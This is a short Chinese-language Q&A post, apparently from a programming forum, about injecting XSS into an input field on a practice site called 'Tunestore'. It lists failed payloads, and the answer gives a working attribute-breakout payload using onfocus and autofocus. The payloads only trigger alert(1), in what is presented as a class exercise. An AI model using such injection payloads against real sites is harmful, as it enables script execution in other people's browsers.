javascript - 如何在 HTML 输入字段中启动 XSS 代码？

Question

我正在尝试在一个虚假的类网站上查找漏洞，我想知道如何将 XSS 代码启动到这个输入字段中？

• 这是网站上的代码:

<form name="friendForm" method="POST" action="/Tunestore/addfriend.do">
  Friend name: <input type="text" name="friend" value="&quot
    <script>alert(1)</script>"><br>
  <input type="submit" value="Submit">
</form>

• 我已经尝试过，但没有成功:

  "> <script>alert(1)</script>

  " onfocus="alert(1)"

  " onclick="alert(1)

Answer 1

试试这个:

" onfocus="alert(1)" autofocus="

它将扩展为:

<'input type="text" name="friend" value=" " onfocus="alert(1)" autofocus=" " />

这将导致一个警告框，展示 XSS。